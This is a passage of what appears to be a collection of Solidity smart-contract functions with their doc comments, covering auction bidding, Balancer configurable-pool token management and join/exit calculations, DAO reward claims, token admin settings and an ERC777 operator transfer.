        // Check to make sure the bid amount is sufficient to purchase
        // all of the auctions specified.
        uint256 totalPrice = 0;
        for (uint32 i = 0; i < _tokenIds.length; i++) {
          uint256 _tokenId = _tokenIds[i];
          Auction storage auction = tokenIdToAuction[_tokenId];
          totalPrice += _currentPrice(auction);
        }
        require(msg.value >= totalPrice);

        // Loop through auctions, placing bids to buy
        //
        for (i = 0; i < _tokenIds.length; i++) {

          _tokenId = _tokenIds[i];
          auction = tokenIdToAuction[_tokenId];

          // Need to store this before the _bid & _transfer calls
          // so we can fire our auctionSuccessful events
          address seller = auction.seller;

          uint256 bid = _currentPrice(auction);
          uint256 price = _bid(_tokenId, bid);
          _transfer(msg.sender, _tokenId);

          if (listener != address(0)) {
            listener.auctionSuccessful(_tokenId, uint128(price), seller, msg.sender);
          }
        }
    }


/// @dev Does exactly what the parent does, but also notifies any
///   listener of the successful bid.
/// @param _tokenId - ID of token to bid on.

function bid(uint256 _tokenId) public payable whenNotPaused
    {
        Auction storage auction = tokenIdToAuction[_tokenId];

        // Need to store this before the _bid & _transfer calls
        // so we can fire our auctionSuccessful events
        address seller = auction.seller;

        // _bid will throw if the bid or funds transfer fails
        uint256 price = _bid(_tokenId, msg.value);
        _transfer(msg.sender, _tokenId);

        if (listener != address(0)) {
          listener.auctionSuccessful(_tokenId, uint128(price), seller, msg.sender);
        }
    }


/**
 * @notice Schedule (commit) a token to be added; must call applyAddToken after a fixed
 *         number of blocks to actually add the token
 * @param bPool - Core BPool the CRP is wrapping
 * @param token - the token to be added
 * @param balance - how much to be added
 * @param denormalizedWeight - the desired token weight
 * @param newToken - NewTokenParams struct used to hold the token data (in CRP storage)
 */

function commitAddToken(
        IBPool bPool,
        address token,
        uint balance,
        uint denormalizedWeight,
        NewTokenParams storage newToken
    )
        external
    {
        require(!bPool.isBound(token), "ERR_IS_BOUND");

        require(denormalizedWeight <= BalancerConstants.MAX_WEIGHT, "ERR_WEIGHT_ABOVE_MAX");
        require(denormalizedWeight >= BalancerConstants.MIN_WEIGHT, "ERR_WEIGHT_BELOW_MIN");
        require(BalancerSafeMath.badd(bPool.getTotalDenormalizedWeight(),
                                      denormalizedWeight) <= BalancerConstants.MAX_TOTAL_WEIGHT,
                "ERR_MAX_TOTAL_WEIGHT");
        require(balance >= BalancerConstants.MIN_BALANCE, "ERR_BALANCE_BELOW_MIN");

        newToken.addr = token;
        newToken.balance = balance;
        newToken.denorm = denormalizedWeight;
        newToken.commitBlock = block.number;
        newToken.isCommitted = true;
    }


/**
 * @notice Add the token previously committed (in commitAddToken) to the pool
 * @param self - ConfigurableRightsPool instance calling the library
 * @param bPool - Core BPool the CRP is wrapping
 * @param addTokenTimeLockInBlocks -  Wait time between committing and applying a new token
 * @param newToken - NewTokenParams struct used to hold the token data (in CRP storage)
 */

function applyAddToken(
        IConfigurableRightsPool self,
        IBPool bPool,
        uint addTokenTimeLockInBlocks,
        NewTokenParams storage newToken
    )
        external
    {
        require(newToken.isCommitted, "ERR_NO_TOKEN_COMMIT");
        require(BalancerSafeMath.bsub(block.number, newToken.commitBlock) >= addTokenTimeLockInBlocks,
                                      "ERR_TIMELOCK_STILL_COUNTING");

        uint totalSupply = self.totalSupply();

        // poolShares = totalSupply * newTokenWeight / totalWeight
        uint poolShares = BalancerSafeMath.bdiv(BalancerSafeMath.bmul(totalSupply, newToken.denorm),
                                                bPool.getTotalDenormalizedWeight());

        // Clear this to allow adding more tokens
        newToken.isCommitted = false;

        // First gets the tokens from msg.sender to this contract (Pool Controller)
        bool returnValue = IERC20(newToken.addr).transferFrom(self.getController(), address(self), newToken.balance);
        require(returnValue, "ERR_ERC20_FALSE");

        // Now with the tokens this contract can bind them to the pool it controls
        // Approves bPool to pull from this controller
        // Approve unlimited, same as when creating the pool, so they can join pools later
        returnValue = SafeApprove.safeApprove(IERC20(newToken.addr), address(bPool), BalancerConstants.MAX_UINT);
        require(returnValue, "ERR_ERC20_FALSE");

        bPool.bind(newToken.addr, newToken.balance, newToken.denorm);

        self.mintPoolShareFromLib(poolShares);
        self.pushPoolShareFromLib(msg.sender, poolShares);
    }


/**
 * @notice Remove a token from the pool
 * @dev Logic in the CRP controls when ths can be called. There are two related permissions:
 *      AddRemoveTokens - which allows removing down to the underlying BPool limit of two
 *      RemoveAllTokens - which allows completely draining the pool by removing all tokens
 *                        This can result in a non-viable pool with 0 or 1 tokens (by design),
 *                        meaning all swapping or binding operations would fail in this state
 * @param self - ConfigurableRightsPool instance calling the library
 * @param bPool - Core BPool the CRP is wrapping
 * @param token - token to remove
 */

function removeToken(
        IConfigurableRightsPool self,
        IBPool bPool,
        address token
    )
        external
    {
        uint totalSupply = self.totalSupply();

        // poolShares = totalSupply * tokenWeight / totalWeight
        uint poolShares = BalancerSafeMath.bdiv(BalancerSafeMath.bmul(totalSupply,
                                                                      bPool.getDenormalizedWeight(token)),
                                                bPool.getTotalDenormalizedWeight());

        // this is what will be unbound from the pool
        // Have to get it before unbinding
        uint balance = bPool.getBalance(token);

        // Unbind and get the tokens out of balancer pool
        bPool.unbind(token);

        // Now with the tokens this contract can send them to msg.sender
        bool xfer = IERC20(token).transfer(self.getController(), balance);
        require(xfer, "ERR_ERC20_FALSE");

        self.pullPoolShareFromLib(self.getController(), poolShares);
        self.burnPoolShareFromLib(poolShares);
    }


/**
 * @notice Join a pool
 * @param self - ConfigurableRightsPool instance calling the library
 * @param bPool - Core BPool the CRP is wrapping
 * @param poolAmountOut - number of pool tokens to receive
 * @param maxAmountsIn - Max amount of asset tokens to spend
 * @return actualAmountsIn - calculated values of the tokens to pull in
 */

function joinPool(
        IConfigurableRightsPool self,
        IBPool bPool,
        uint poolAmountOut,
        uint[] calldata maxAmountsIn
    )
         external
         view
         returns (uint[] memory actualAmountsIn)
    {
        address[] memory tokens = bPool.getCurrentTokens();

        require(maxAmountsIn.length == tokens.length, "ERR_AMOUNTS_MISMATCH");

        uint poolTotal = self.totalSupply();
        // Subtract  1 to ensure any rounding errors favor the pool
        uint ratio = BalancerSafeMath.bdiv(poolAmountOut,
                                           BalancerSafeMath.bsub(poolTotal, 1));

        require(ratio != 0, "ERR_MATH_APPROX");

        // We know the length of the array; initialize it, and fill it below
        // Cannot do "push" in memory
        actualAmountsIn = new uint[](tokens.length);

        // This loop contains external calls
        // External calls are to math libraries or the underlying pool, so low risk
        for (uint i = 0; i < tokens.length; i++) {
            address t = tokens[i];
            uint bal = bPool.getBalance(t);
            // Add 1 to ensure any rounding errors favor the pool
            uint tokenAmountIn = BalancerSafeMath.bmul(ratio,
                                                       BalancerSafeMath.badd(bal, 1));

            require(tokenAmountIn != 0, "ERR_MATH_APPROX");
            require(tokenAmountIn <= maxAmountsIn[i], "ERR_LIMIT_IN");

            actualAmountsIn[i] = tokenAmountIn;
        }
    }


/**
 * @notice Exit a pool - redeem pool tokens for underlying assets
 * @param self - ConfigurableRightsPool instance calling the library
 * @param bPool - Core BPool the CRP is wrapping
 * @param poolAmountIn - amount of pool tokens to redeem
 * @param minAmountsOut - minimum amount of asset tokens to receive
 * @return exitFee - calculated exit fee
 * @return pAiAfterExitFee - final amount in (after accounting for exit fee)
 * @return actualAmountsOut - calculated amounts of each token to pull
 */

function exitPool(
        IConfigurableRightsPool self,
        IBPool bPool,
        uint poolAmountIn,
        uint[] calldata minAmountsOut
    )
        external
        view
        returns (uint exitFee, uint pAiAfterExitFee, uint[] memory actualAmountsOut)
    {
        address[] memory tokens = bPool.getCurrentTokens();

        require(minAmountsOut.length == tokens.length, "ERR_AMOUNTS_MISMATCH");

        uint poolTotal = self.totalSupply();

        // Calculate exit fee and the final amount in
        exitFee = BalancerSafeMath.bmul(poolAmountIn, BalancerConstants.EXIT_FEE);
        pAiAfterExitFee = BalancerSafeMath.bsub(poolAmountIn, exitFee);

        uint ratio = BalancerSafeMath.bdiv(pAiAfterExitFee,
                                           BalancerSafeMath.badd(poolTotal, 1));

        require(ratio != 0, "ERR_MATH_APPROX");

        actualAmountsOut = new uint[](tokens.length);

        // This loop contains external calls
        // External calls are to math libraries or the underlying pool, so low risk
        for (uint i = 0; i < tokens.length; i++) {
            address t = tokens[i];
            uint bal = bPool.getBalance(t);
            // Subtract 1 to ensure any rounding errors favor the pool
            uint tokenAmountOut = BalancerSafeMath.bmul(ratio,
                                                        BalancerSafeMath.bsub(bal, 1));

            require(tokenAmountOut != 0, "ERR_MATH_APPROX");
            require(tokenAmountOut >= minAmountsOut[i], "ERR_LIMIT_OUT");

            actualAmountsOut[i] = tokenAmountOut;
        }
    }


/**
 * @notice Join by swapping a fixed amount of an external token in (must be present in the pool)
 *         System calculates the pool token amount
 * @param self - ConfigurableRightsPool instance calling the library
 * @param bPool - Core BPool the CRP is wrapping
 * @param tokenIn - which token we're transferring in
 * @param tokenAmountIn - amount of deposit
 * @param minPoolAmountOut - minimum of pool tokens to receive
 * @return poolAmountOut - amount of pool tokens minted and transferred
 */

function joinswapExternAmountIn(
        IConfigurableRightsPool self,
        IBPool bPool,
        address tokenIn,
        uint tokenAmountIn,
        uint minPoolAmountOut
    )
        external
        view
        returns (uint poolAmountOut)
    {
        require(bPool.isBound(tokenIn), "ERR_NOT_BOUND");
        require(tokenAmountIn <= BalancerSafeMath.bmul(bPool.getBalance(tokenIn),
                                                       BalancerConstants.MAX_IN_RATIO),
                                                       "ERR_MAX_IN_RATIO");

        poolAmountOut = bPool.calcPoolOutGivenSingleIn(
                            bPool.getBalance(tokenIn),
                            bPool.getDenormalizedWeight(tokenIn),
                            self.totalSupply(),
                            bPool.getTotalDenormalizedWeight(),
                            tokenAmountIn,
                            bPool.getSwapFee()
                        );

        require(poolAmountOut >= minPoolAmountOut, "ERR_LIMIT_OUT");
    }


/**
 * @notice Join by swapping an external token in (must be present in the pool)
 *         To receive an exact amount of pool tokens out. System calculates the deposit amount
 * @param self - ConfigurableRightsPool instance calling the library
 * @param bPool - Core BPool the CRP is wrapping
 * @param tokenIn - which token we're transferring in (system calculates amount required)
 * @param poolAmountOut - amount of pool tokens to be received
 * @param maxAmountIn - Maximum asset tokens that can be pulled to pay for the pool tokens
 * @return tokenAmountIn - amount of asset tokens transferred in to purchase the pool tokens
 */

function joinswapPoolAmountOut(
        IConfigurableRightsPool self,
        IBPool bPool,
        address tokenIn,
        uint poolAmountOut,
        uint maxAmountIn
    )
        external
        view
        returns (uint tokenAmountIn)
    {
        require(bPool.isBound(tokenIn), "ERR_NOT_BOUND");

        tokenAmountIn = bPool.calcSingleInGivenPoolOut(
                            bPool.getBalance(tokenIn),
                            bPool.getDenormalizedWeight(tokenIn),
                            self.totalSupply(),
                            bPool.getTotalDenormalizedWeight(),
                            poolAmountOut,
                            bPool.getSwapFee()
                        );

        require(tokenAmountIn != 0, "ERR_MATH_APPROX");
        require(tokenAmountIn <= maxAmountIn, "ERR_LIMIT_IN");

        require(tokenAmountIn <= BalancerSafeMath.bmul(bPool.getBalance(tokenIn),
                                                       BalancerConstants.MAX_IN_RATIO),
                                                       "ERR_MAX_IN_RATIO");
    }


/**
 * @notice Exit a pool - redeem a specific number of pool tokens for an underlying asset
 *         Asset must be present in the pool, and will incur an EXIT_FEE (if set to non-zero)
 * @param self - ConfigurableRightsPool instance calling the library
 * @param bPool - Core BPool the CRP is wrapping
 * @param tokenOut - which token the caller wants to receive
 * @param poolAmountIn - amount of pool tokens to redeem
 * @param minAmountOut - minimum asset tokens to receive
 * @return exitFee - calculated exit fee
 * @return tokenAmountOut - amount of asset tokens returned
 */

function exitswapPoolAmountIn(
        IConfigurableRightsPool self,
        IBPool bPool,
        address tokenOut,
        uint poolAmountIn,
        uint minAmountOut
    )
        external
        view
        returns (uint exitFee, uint tokenAmountOut)
    {
        require(bPool.isBound(tokenOut), "ERR_NOT_BOUND");

        tokenAmountOut = bPool.calcSingleOutGivenPoolIn(
                            bPool.getBalance(tokenOut),
                            bPool.getDenormalizedWeight(tokenOut),
                            self.totalSupply(),
                            bPool.getTotalDenormalizedWeight(),
                            poolAmountIn,
                            bPool.getSwapFee()
                        );

        require(tokenAmountOut >= minAmountOut, "ERR_LIMIT_OUT");
        require(tokenAmountOut <= BalancerSafeMath.bmul(bPool.getBalance(tokenOut),
                                                        BalancerConstants.MAX_OUT_RATIO),
                                                        "ERR_MAX_OUT_RATIO");

        exitFee = BalancerSafeMath.bmul(poolAmountIn, BalancerConstants.EXIT_FEE);
    }


/**
 * @notice Exit a pool - redeem pool tokens for a specific amount of underlying assets
 *         Asset must be present in the pool
 * @param self - ConfigurableRightsPool instance calling the library
 * @param bPool - Core BPool the CRP is wrapping
 * @param tokenOut - which token the caller wants to receive
 * @param tokenAmountOut - amount of underlying asset tokens to receive
 * @param maxPoolAmountIn - maximum pool tokens to be redeemed
 * @return exitFee - calculated exit fee
 * @return poolAmountIn - amount of pool tokens redeemed
 */

function exitswapExternAmountOut(
        IConfigurableRightsPool self,
        IBPool bPool,
        address tokenOut,
        uint tokenAmountOut,
        uint maxPoolAmountIn
    )
        external
        view
        returns (uint exitFee, uint poolAmountIn)
    {
        require(bPool.isBound(tokenOut), "ERR_NOT_BOUND");
        require(tokenAmountOut <= BalancerSafeMath.bmul(bPool.getBalance(tokenOut),
                                                        BalancerConstants.MAX_OUT_RATIO),
                                                        "ERR_MAX_OUT_RATIO");
        poolAmountIn = bPool.calcPoolInGivenSingleOut(
                            bPool.getBalance(tokenOut),
                            bPool.getDenormalizedWeight(tokenOut),
                            self.totalSupply(),
                            bPool.getTotalDenormalizedWeight(),
                            tokenAmountOut,
                            bPool.getSwapFee()
                        );

        require(poolAmountIn != 0, "ERR_MATH_APPROX");
        require(poolAmountIn <= maxPoolAmountIn, "ERR_LIMIT_IN");

        exitFee = BalancerSafeMath.bmul(poolAmountIn, BalancerConstants.EXIT_FEE);
    }


// Calculated based on % of total vote supply at snapshotId, multiplied by amount available, minus claimed

function claimable(uint snapshotId, address user) public view returns (uint) {
        IVoters voters = IVoters(dao.voters());
        uint total = snapshotAmounts[snapshotId];
        uint totalSupply = voters.totalSupplyAt(snapshotId);
        uint balance = voters.balanceOfAt(user, snapshotId);
        require(totalSupply > 0, "totalSupply = 0");
        return ((total * balance) / totalSupply) - claimedAmounts[snapshotId][user];
    }


// Update minimum tokens accumulated on the contract before a swap is performed

function updateMinTokensBeforeSwap(uint256 newAmount) external onlyOwner {
        uint256 circulatingTokens = _totalTokens - balanceOf(_deadAddress);

        uint256 maxTokensBeforeSwap = circulatingTokens / 110;
        uint256 newMinTokensBeforeSwap = newAmount * 10**9;

        require(newMinTokensBeforeSwap < maxTokensBeforeSwap, "Amount must be less than 1 percent of the circulating supply");
        _minTokensBeforeSwap = newMinTokensBeforeSwap;
    }


// If there is a PCS upgrade then add the ability to change the router and pairs to the new version

function changeRouterVersion(address _router) public onlyOwner returns (address) {
        IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(_router);

        address newPair = IUniswapV2Factory(_uniswapV2Router.factory()).getPair(address(this), _uniswapV2Router.WETH());
        if(newPair == address(0)){
            // Pair doesn't exist
            newPair = IUniswapV2Factory(_uniswapV2Router.factory())
            .createPair(address(this), _uniswapV2Router.WETH());
        }
        // Set the new pair
        uniswapV2Pair = newPair;

        // Set the router of the contract variables
        uniswapV2Router = _uniswapV2Router;

        return newPair;
    }


// Check all transactions and group transactions older than 21 days into their own bucket

function _aggregateOldTransactions(address sender) private {
        uint256 totalBlockTimes = _timedTransactionsMap[sender].txBlockTimes.length;

        if (totalBlockTimes < 1) {
            return;
        }

        uint256 oldestBlockTime = block.timestamp - _gate2Time;

        // If the first transaction is not yet 21 days old then do not aggregate
        if (_timedTransactionsMap[sender].txBlockTimes[0] > oldestBlockTime) {
            return;
        }

        uint lastAggregateIndex = 0;
        uint256 totalTokens = 0;
        for (uint i = 0; i < totalBlockTimes; i++) {
            uint256 txBlockTime = _timedTransactionsMap[sender].txBlockTimes[i];

            if (txBlockTime > oldestBlockTime) {
                break;
            }

            totalTokens = totalTokens + _timedTransactionsMap[sender].timedTxAmount[txBlockTime];
            lastAggregateIndex = i;
        }

        _sliceBlockTimeArray(sender, lastAggregateIndex);

        _timedTransactionsMap[sender].txBlockTimes[0] = OVER_21_DAYS_BLOCK_TIME;
        _timedTransactionsMap[sender].timedTxAmount[OVER_21_DAYS_BLOCK_TIME] = totalTokens;
    }


// _sliceBlockTimeArray removes elements before the provided index from the transaction block
// time array for the given account. This is in order to keep an ordered list of transaction block
// times.

function _sliceBlockTimeArray(address account, uint indexFrom) private {
        uint oldArrayLength = _timedTransactionsMap[account].txBlockTimes.length;

        if (indexFrom <= 0) return;

        if (indexFrom >= oldArrayLength) {
            while (_timedTransactionsMap[account].txBlockTimes.length != 0) {
                _timedTransactionsMap[account].txBlockTimes.pop();
            }
            return;
        }

        uint newArrayLength = oldArrayLength - indexFrom;

        uint counter = 0;
        for (uint i = indexFrom; i < oldArrayLength; i++) {
            _timedTransactionsMap[account].txBlockTimes[counter] = _timedTransactionsMap[account].txBlockTimes[i];
            counter++;
        }

        while (newArrayLength != _timedTransactionsMap[account].txBlockTimes.length) {
            _timedTransactionsMap[account].txBlockTimes.pop();
        }
    }


/**
 * @dev See `IERC777.operatorSend`.
 *
 * Emits `Sent` and `Transfer` events.
 */

function operatorSend(
        address sender,
        address recipient,
        uint256 amount,
        bytes memory data,
        bytes memory operatorData
    )
    public
    {
        require(isOperatorFor(msg.sender, sender), "ERC777: caller is not an operator for holder");
        _send(msg.sender, sender, recipient, amount, data, operatorData, true);
    }